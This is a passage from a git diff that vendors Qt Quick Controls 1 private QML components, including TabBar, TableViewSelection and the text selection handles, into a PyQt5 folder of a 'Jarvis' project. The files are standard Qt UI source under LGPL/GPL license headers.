+** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TabBar + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +FocusScope { + id: tabbar + height: Math.max(tabrow.height, Math.max(leftCorner.height, rightCorner.height)) + width: tabView.width + + activeFocusOnTab: true + + Keys.onRightPressed: { + if (tabView && tabView.currentIndex < tabView.count - 1) + tabView.currentIndex = tabView.currentIndex + 1 + } + Keys.onLeftPressed: { + if (tabView && tabView.currentIndex > 0) + tabView.currentIndex = tabView.currentIndex - 1 + } + + onTabViewChanged: parent = tabView + visible: tabView ? tabView.tabsVisible : true + + property var tabView + property var style + property var styleItem: tabView.__styleItem ? tabView.__styleItem : null + + property bool tabsMovable: styleItem ? styleItem.tabsMovable : false + + property int tabsAlignment: styleItem ? styleItem.tabsAlignment : Qt.AlignLeft + + property int tabOverlap: styleItem ? styleItem.tabOverlap : 0 + + property int elide: Text.ElideRight + + property real availableWidth: tabbar.width - leftCorner.width - rightCorner.width + + property var __selectedTabRect + + function tab(index) { + for (var i = 0; i < tabrow.children.length; ++i) { + if (tabrow.children[i].tabindex == index) { + return tabrow.children[i] + } + } + return null; + } + + /*! \internal */ + function __isAncestorOf(item, child) { + //TODO: maybe removed from 5.2 if the function was merged in qtdeclarative + if (child === item) + return false; + + while (child) { + child = child.parent; + if (child === item) + return true; + } + return false; + } + Loader { + id: background + anchors.fill: parent + sourceComponent: styleItem ? styleItem.tabBar : undefined + } + + ListView { + id: tabrow + objectName: "tabrow" + Accessible.role: Accessible.PageTabList + LayoutMirroring.enabled: Qt.application.layoutDirection === Qt.RightToLeft + spacing: -tabOverlap + orientation: Qt.Horizontal + interactive: false + focus: true + clip: true + + // Note this will silence the binding loop warnings caused by QTBUG-35038 + // and should be removed when this issue is resolved. + property int contentWidthWorkaround: contentWidth > 0 ? contentWidth: 0 + width: Math.min(availableWidth, count ? contentWidthWorkaround : availableWidth) + height: currentItem ? currentItem.height : 0 + + highlightMoveDuration: 0 + + // We cannot bind directly to the currentIndex because the actual model is + // populated after the listview is completed, resulting in an invalid contentItem + currentIndex: tabView.currentIndex < model.count ? tabView.currentIndex : -1 + onCurrentIndexChanged: tabrow.positionViewAtIndex(currentIndex, ListView.Contain) + + moveDisplaced: Transition { + NumberAnimation { + property: "x" + duration: 125 + easing.type: Easing.OutQuad + } + } + + states: [ + State { + name: "left" + when: tabsAlignment === Qt.AlignLeft + AnchorChanges { target:tabrow ; anchors.left: parent.left } + PropertyChanges { target:tabrow ; anchors.leftMargin: leftCorner.width } + }, + State { + name: "center" + when: tabsAlignment === Qt.AlignHCenter + AnchorChanges { target:tabrow ; anchors.horizontalCenter: tabbar.horizontalCenter } + }, + State { + name: "right" + when: tabsAlignment === Qt.AlignRight + AnchorChanges { target:tabrow ; anchors.right: parent.right } + PropertyChanges { target:tabrow ; anchors.rightMargin: rightCorner.width } + } + ] + + model: tabView.__tabs + + delegate: MouseArea { + id: tabitem + objectName: "mousearea" + hoverEnabled: Settings.hoverEnabled + focus: true + enabled: modelData.enabled + + Qml.Binding { + target: tabbar + when: selected + property: "__selectedTabRect" + value: Qt.rect(x, y, width, height) + restoreMode: Binding.RestoreBinding + } + + drag.target: tabsMovable ? tabloader : null + drag.axis: Drag.XAxis + drag.minimumX: drag.active ? 0 : -Number.MAX_VALUE + drag.maximumX: tabrow.width - tabitem.width + + property int tabindex: index + property bool selected : tabView.currentIndex === index + property string title: modelData.title + property bool nextSelected: tabView.currentIndex === index + 1 + property bool previousSelected: tabView.currentIndex === index - 1 + + property bool keyPressed: false + property bool effectivePressed: pressed && containsMouse || keyPressed + + z: selected ? 1 : -index + implicitWidth: tabloader.implicitWidth + implicitHeight: tabloader.implicitHeight + + function changeTab() { + tabView.currentIndex = index; + var next = tabbar.nextItemInFocusChain(true); + if (__isAncestorOf(tabView.getTab(currentIndex), next)) + next.forceActiveFocus(); + } + + onClicked: { + if (tabrow.interactive) { + changeTab() + } + } + onPressed: { + if (!tabrow.interactive) { + changeTab() + } + } + + Keys.onPressed: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && !tabitem.pressed) + tabitem.keyPressed = true + } + Keys.onReleased: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && tabitem.keyPressed) + tabitem.keyPressed = false + } + onFocusChanged: if (!focus) tabitem.keyPressed = false + + Loader { + id: tabloader + + property Item control: tabView + property int index: tabindex + + property QtObject styleData: QtObject { + readonly property alias index: tabitem.tabindex + readonly property alias selected: tabitem.selected + readonly property alias title: tabitem.title + readonly property alias nextSelected: tabitem.nextSelected + readonly property alias previousSelected: tabitem.previousSelected + readonly property alias pressed: tabitem.effectivePressed + readonly property alias hovered: tabitem.containsMouse + readonly property alias enabled: tabitem.enabled + readonly property bool activeFocus: tabitem.activeFocus + readonly property real availableWidth: tabbar.availableWidth + readonly property real totalWidth: tabrow.contentWidth + } + + sourceComponent: loader.item ? loader.item.tab : null + + Drag.keys: "application/x-tabbartab" + Drag.active: tabitem.drag.active + Drag.source: tabitem + + property real __prevX: 0 + property real __dragX: 0 + onXChanged: { + if (Drag.active) { + // keep track for the snap back animation + __dragX = tabitem.mapFromItem(tabrow, tabloader.x, 0).x + + // when moving to the left, the hot spot is the left edge and vice versa + Drag.hotSpot.x = x < __prevX ? 0 : width + __prevX = x + } + } + + width: tabitem.width + state: Drag.active ? "drag" : "" + + transitions: [ + Transition { + to: "drag" + PropertyAction { target: tabloader; property: "parent"; value: tabrow } + }, + Transition { + from: "drag" + SequentialAnimation { + PropertyAction { target: tabloader; property: "parent"; value: tabitem } + NumberAnimation { + target: tabloader + duration: 50 + easing.type: Easing.OutQuad + property: "x" + from: tabloader.__dragX + to: 0 + } + } + } + ] + } + + Accessible.role: Accessible.PageTab + Accessible.name: modelData.title + } + } + + Loader { + id: leftCorner + anchors.verticalCenter: parent.verticalCenter + anchors.left: parent.left + sourceComponent: styleItem ? styleItem.leftCorner : undefined + width: item ? item.implicitWidth : 0 + height: item ? item.implicitHeight : 0 + } + + Loader { + id: rightCorner + anchors.verticalCenter: parent.verticalCenter + anchors.right: parent.right + sourceComponent: styleItem ? styleItem.rightCorner : undefined + width: item ? item.implicitWidth : 0 + height: item ? item.implicitHeight : 0 + } + + DropArea { + anchors.fill: tabrow + keys: "application/x-tabbartab" + onPositionChanged: { + var source = drag.source + var target = tabrow.itemAt(drag.x, drag.y) + if (source && target && source !== target) { + source = source.drag.target + target = target.drag.target + var center = target.parent.x + target.width / 2 + if ((source.index > target.index && source.x < center) + || (source.index < target.index && source.x + source.width > center)) + tabView.moveTab(source.index, target.index) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qmlc new file mode 100644 index 00000000..f737e191 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qml new file mode 100644 index 00000000..c5c6584a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qml @@ -0,0 +1,102 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +import QtQuick 2.5 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 + +/*! + \qmltype TableViewItemDelegateLoader + \internal + \qmlabstract + \inqmlmodule QtQuick.Controls.Private +*/ + +Loader { + id: itemDelegateLoader + + width: __column ? __column.width : 0 + height: parent ? parent.height : 0 + visible: __column ? __column.visible : false + + property bool isValid: false + sourceComponent: (__model === undefined || !isValid) ? null + : __column && __column.delegate ? __column.delegate : __itemDelegate + + // All these properties are internal + property int __index: index + property Item __rowItem: null + property var __model: __rowItem ? __rowItem.itemModel : undefined + property var __modelData: __rowItem ? __rowItem.itemModelData : undefined + property TableViewColumn __column: null + property Component __itemDelegate: null + property var __mouseArea: null + property var __style: null + + // These properties are exposed to the item delegate + readonly property var model: __model + readonly property var modelData: __modelData + + property QtObject styleData: QtObject { + readonly property int row: __rowItem ? __rowItem.rowIndex : -1 + readonly property int column: __index + readonly property int elideMode: __column ? __column.elideMode : Text.ElideLeft + readonly property int textAlignment: __column ? __column.horizontalAlignment : Text.AlignLeft + readonly property bool selected: __rowItem ? __rowItem.itemSelected : false + readonly property bool hasActiveFocus: __rowItem ? __rowItem.activeFocus : false + readonly property bool pressed: __mouseArea && row === __mouseArea.pressedRow && column === __mouseArea.pressedColumn + readonly property color textColor: __rowItem ? __rowItem.itemTextColor : "black" + readonly property string role: __column ? __column.role : "" + readonly property var value: model && model.hasOwnProperty(role) ? model[role] // Qml ListModel and QAbstractItemModel + : modelData && modelData.hasOwnProperty(role) ? modelData[role] // QObjectList / QObject + : modelData != undefined ? modelData : "" // Models without role + onRowChanged: if (row !== -1) itemDelegateLoader.isValid = true + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qmlc new file mode 100644 index 00000000..c2a46fe3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewItemDelegateLoader.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qml new file mode 100644 index 00000000..e8af9dd9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qml @@ -0,0 +1,196 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +QtObject { + + property int count: 0 + signal selectionChanged + + property bool __dirty: false + property var __ranges: [] + + function forEach (callback) { + if (!(callback instanceof Function)) { + console.warn("TableViewSelection.forEach: argument is not a function") + return; + } + __forEach(callback, -1) + } + + function contains(index) { + for (var i = 0 ; i < __ranges.length ; ++i) { + if (__ranges[i][0] <= index && index <= __ranges[i][1]) + return true; + else if (__ranges[i][0] > index) + return false; + } + return false; + } + + function clear() { + __ranges = [] + __dirty = true + count = 0 + selectionChanged() + } + + function selectAll() { select(0, rowCount - 1) } + function select(first, last) { __select(true, first, last) } + function deselect(first, last) { __select(false, first, last) } + + // --- private section --- + + function __printRanges() { + var out = "" + for (var i = 0 ; i < __ranges.length ; ++ i) + out += ("{" + __ranges[i][0] + "," + __ranges[i][1] + "} ") + print(out) + } + + function __count() { + var sum = 0 + for (var i = 0 ; i < __ranges.length ; ++i) { + sum += (1 + __ranges[i][1] - __ranges[i][0]) + } + return sum + } + + function __forEach (callback, startIndex) { + __dirty = false + var i, j + + for (i = 0 ; i < __ranges.length && !__dirty ; ++i) { + for (j = __ranges[i][0] ; !__dirty && j <= __ranges[i][1] ; ++j) { + if (j >= startIndex) + callback.call(this, j) + } + } + + // Restart iteration at last index if selection changed + if (__dirty) + return __forEach(callback, j) + } + + function __selectOne(index) { + __ranges = [[index, index]] + __dirty = true + count = 1 + selectionChanged(); + } + + function __select(select, first, last) { + + var i, range + var start = first + var stop = first + var startRangeIndex = -1 + var stopRangeIndex = -1 + var newRangePos = 0 + + if (first < 0 || last < 0 || first >= rowCount || last >=rowCount) { + console.warn("TableViewSelection: index out of range") + return + } + + if (last !== undefined) { + start = first <= last ? first : last + stop = first <= last ? last : first + } + + if (select) { + + // Find beginning and end ranges + for (i = 0 ; i < __ranges.length; ++ i) { + range = __ranges[i] + if (range[0] > stop + 1) continue; // above range + if (range[1] < start - 1) { // below range + newRangePos = i + 1 + continue; + } + if (startRangeIndex === -1) + startRangeIndex = i + stopRangeIndex = i + } + + if (startRangeIndex !== -1) + start = Math.min(__ranges[startRangeIndex][0], start) + if (stopRangeIndex !== -1) + stop = Math.max(__ranges[stopRangeIndex][1], stop) + + if (startRangeIndex === -1) + startRangeIndex = newRangePos + + __ranges.splice(Math.max(0, startRangeIndex), + 1 + stopRangeIndex - startRangeIndex, [start, stop]) + + } else { + + // Find beginning and end ranges + for (i = 0 ; i < __ranges.length; ++ i) { + range = __ranges[i] + if (range[1] < start) continue; // below range + if (range[0] > stop) continue; // above range + if (startRangeIndex === -1) + startRangeIndex = i + stopRangeIndex = i + } + + // Slice ranges accordingly + if (startRangeIndex >= 0 && stopRangeIndex >= 0) { + var startRange = __ranges[startRangeIndex] + var stopRange = __ranges[stopRangeIndex] + var length = 1 + stopRangeIndex - startRangeIndex + if (start <= startRange[0] && stop >= stopRange[1]) { //remove + __ranges.splice(startRangeIndex, length) + } else if (start - 1 < startRange[0] && stop <= stopRange[1]) { //cut front + __ranges.splice(startRangeIndex, length, [stop + 1, stopRange[1]]) + } else if (start - 1 < startRange[1] && stop >= stopRange[1]) { // cut back + __ranges.splice(startRangeIndex, length, [startRange[0], start - 1]) + } else { //split + __ranges.splice(startRangeIndex, length, [startRange[0], start - 1], [stop + 1, stopRange[1]]) + } + } + } + __dirty = true + count = __count() // forces a re-evaluation of indexes in the delegates + selectionChanged() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qmlc new file mode 100644 index 00000000..7421daae Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TableViewSelection.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qml new file mode 100644 index 00000000..45e97f71 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qml @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Loader { + id: handle + + property Item editor + property int minimum: -1 + property int maximum: -1 + property int position: -1 + property alias delegate: handle.sourceComponent + + readonly property alias pressed: mouse.pressed + + readonly property real handleX: x + (item ? item.x : 0) + readonly property real handleY: y + (item ? item.y : 0) + readonly property real handleWidth: item ? item.width : 0 + readonly property real handleHeight: item ? item.height : 0 + + property Item control + property QtObject styleData: QtObject { + id: styleData + signal activated() + readonly property alias pressed: mouse.pressed + readonly property alias position: handle.position + readonly property bool hasSelection: editor.selectionStart !== editor.selectionEnd + readonly property real lineHeight: position !== -1 ? editor.positionToRectangle(position).height + : editor.cursorRectangle.height + } + + function activate() { + styleData.activated() + } + + MouseArea { + id: mouse + anchors.fill: item + enabled: item && item.visible + preventStealing: true + property real pressX + property point offset + property bool handleDragged: false + + onPressed: { + Qt.inputMethod.commit() + handleDragged = false + pressX = mouse.x + var handleRect = editor.positionToRectangle(handle.position) + var centerX = handleRect.x + (handleRect.width / 2) + var centerY = handleRect.y + (handleRect.height / 2) + var center = mapFromItem(editor, centerX, centerY) + offset = Qt.point(mouseX - center.x, mouseY - center.y) + } + onReleased: { + if (!handleDragged) { + // The user just clicked on the handle. In that + // case clear the selection. + var mousePos = editor.mapFromItem(item, mouse.x, mouse.y) + var editorPos = editor.positionAt(mousePos.x, mousePos.y) + editor.select(editorPos, editorPos) + } + } + onPositionChanged: { + handleDragged = true + var pt = mapToItem(editor, mouse.x - offset.x, mouse.y - offset.y) + + // limit vertically within mix/max coordinates or content bounds + var min = (minimum !== -1) ? minimum : 0 + var max = (maximum !== -1) ? maximum : editor.length + pt.y = Math.max(pt.y, editor.positionToRectangle(min).y) + pt.y = Math.min(pt.y, editor.positionToRectangle(max).y) + + var pos = editor.positionAt(pt.x, pt.y) + + // limit horizontally within min/max character positions + if (minimum !== -1) + pos = Math.max(pos, minimum) + pos = Math.max(pos, 0) + if (maximum !== -1) + pos = Math.min(pos, maximum) + pos = Math.min(pos, editor.length) + + handle.position = pos + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qmlc new file mode 100644 index 00000000..f1ad2f30 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextHandle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qml new file mode 100644 index 00000000..ac78c269 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qml @@ -0,0 +1,201 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Window 2.2 +import QtQuick.Controls.Private 1.0 + +TextInput { + id: input + + property Item control + property alias cursorHandle: cursorHandle.delegate + property alias selectionHandle: selectionHandle.delegate + + property bool blockRecursion: false + property bool hasSelection: selectionStart !== selectionEnd + readonly property int selectionPosition: selectionStart !== cursorPosition ? selectionStart : selectionEnd + readonly property alias containsMouse: mouseArea.containsMouse + property alias editMenu: editMenu + cursorDelegate: __style && __style.__cursorDelegate ? __style.__cursorDelegate : null + + selectByMouse: control.selectByMouse && (!Settings.isMobile || !cursorHandle.delegate || !selectionHandle.delegate) + + // force re-evaluation when selection moves: + // - cursorRectangle changes => content scrolled + // - contentWidth changes => text layout changed + property rect selectionRectangle: cursorRectangle.x && contentWidth ? positionToRectangle(selectionPosition) + : positionToRectangle(selectionPosition) + + onSelectionStartChanged: syncHandlesWithSelection() + onCursorPositionChanged: syncHandlesWithSelection() + + function syncHandlesWithSelection() + { + if (!blockRecursion && selectionHandle.delegate) { + blockRecursion = true + // We cannot use property selectionPosition since it gets updated after onSelectionStartChanged + cursorHandle.position = cursorPosition + selectionHandle.position = (selectionStart !== cursorPosition) ? selectionStart : selectionEnd + blockRecursion = false + } + } + + function activate() { + if (activeFocusOnPress) { + forceActiveFocus() + if (!readOnly) + Qt.inputMethod.show() + } + cursorHandle.activate() + selectionHandle.activate() + } + + function moveHandles(cursor, selection) { + blockRecursion = true + cursorPosition = cursor + if (selection === -1) { + selectWord() + selection = selectionStart + } + selectionHandle.position = selection + cursorHandle.position = cursorPosition + blockRecursion = false + } + + MouseArea { + id: mouseArea + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + cursorShape: Qt.IBeamCursor + acceptedButtons: (input.selectByMouse ? Qt.NoButton : Qt.LeftButton) | (control.menu ? Qt.RightButton : Qt.NoButton) + onClicked: { + if (editMenu.item) + return; + var pos = input.positionAt(mouse.x, mouse.y) + input.moveHandles(pos, pos) + input.activate() + } + onPressAndHold: { + if (editMenu.item) + return; + var pos = input.positionAt(mouse.x, mouse.y) + input.moveHandles(pos, control.selectByMouse ? -1 : pos) + input.activate() + } + } + + EditMenu { + id: editMenu + input: parent + mouseArea: mouseArea + control: parent.control + cursorHandle: cursorHandle + selectionHandle: selectionHandle + anchors.fill: parent + } + + ScenePosListener { + id: listener + item: input + enabled: input.activeFocus && Qt.platform.os !== "ios" && Settings.isMobile + } + + TextHandle { + id: selectionHandle + + editor: input + z: 1000001 // DefaultWindowDecoration+1 + parent: !input.activeFocus || Qt.platform.os === "ios" ? control : Window.contentItem // float (QTBUG-42538) + control: input.control + active: control.selectByMouse && Settings.isMobile + maximum: cursorHandle.position - 1 + + readonly property var mappedOrigin: editor.mapToItem(parent, 0,0) + + // Mention scenePos in the mappedPos binding to force re-evaluation if it changes + readonly property var mappedPos: listener.scenePos.x !== listener.scenePos.y !== Number.MAX_VALUE ? + editor.mapToItem(parent, editor.selectionRectangle.x, editor.selectionRectangle.y) : -1 + x: mappedPos.x + y: mappedPos.y + + visible: pressed || (input.hasSelection && handleX + handleWidth >= -1 && handleX - mappedOrigin.x <= control.width + 1) + + onPositionChanged: { + if (!input.blockRecursion) { + input.blockRecursion = true + input.select(selectionHandle.position, cursorHandle.position) + if (pressed) + input.ensureVisible(position) + input.blockRecursion = false + } + } + } + + TextHandle { + id: cursorHandle + + editor: input + z: 1000001 // DefaultWindowDecoration+1 + parent: !input.activeFocus || Qt.platform.os === "ios" ? control : Window.contentItem // float (QTBUG-42538) + control: input.control + active: control.selectByMouse && Settings.isMobile + minimum: input.hasSelection ? selectionHandle.position + 1 : -1 + + readonly property var mappedOrigin: editor.mapToItem(parent, 0,0) + + // Mention scenePos in the mappedPos binding to force re-evaluation if it changes + readonly property var mappedPos: listener.scenePos.x !== listener.scenePos.y !== Number.MAX_VALUE ? + editor.mapToItem(parent, editor.cursorRectangle.x, editor.cursorRectangle.y) : -1 + x: mappedPos.x + y: mappedPos.y + + visible: pressed || ((input.cursorVisible || input.hasSelection) && handleX + handleWidth >= -1 && handleX - mappedOrigin.x <= control.width + 1) + + onPositionChanged: { + if (!input.blockRecursion) { + input.blockRecursion = true + if (!input.hasSelection) + selectionHandle.position = cursorHandle.position + input.select(selectionHandle.position, cursorHandle.position) + input.blockRecursion = false + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qmlc new file mode 100644 index 00000000..86fce2f5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextInputWithHandles.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qml new file mode 100644 index 00000000..83254698 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qml @@ -0,0 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +pragma Singleton +import QtQuick 2.2 +Text { +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qmlc new file mode 100644 index 00000000..d0e3c559 Binary 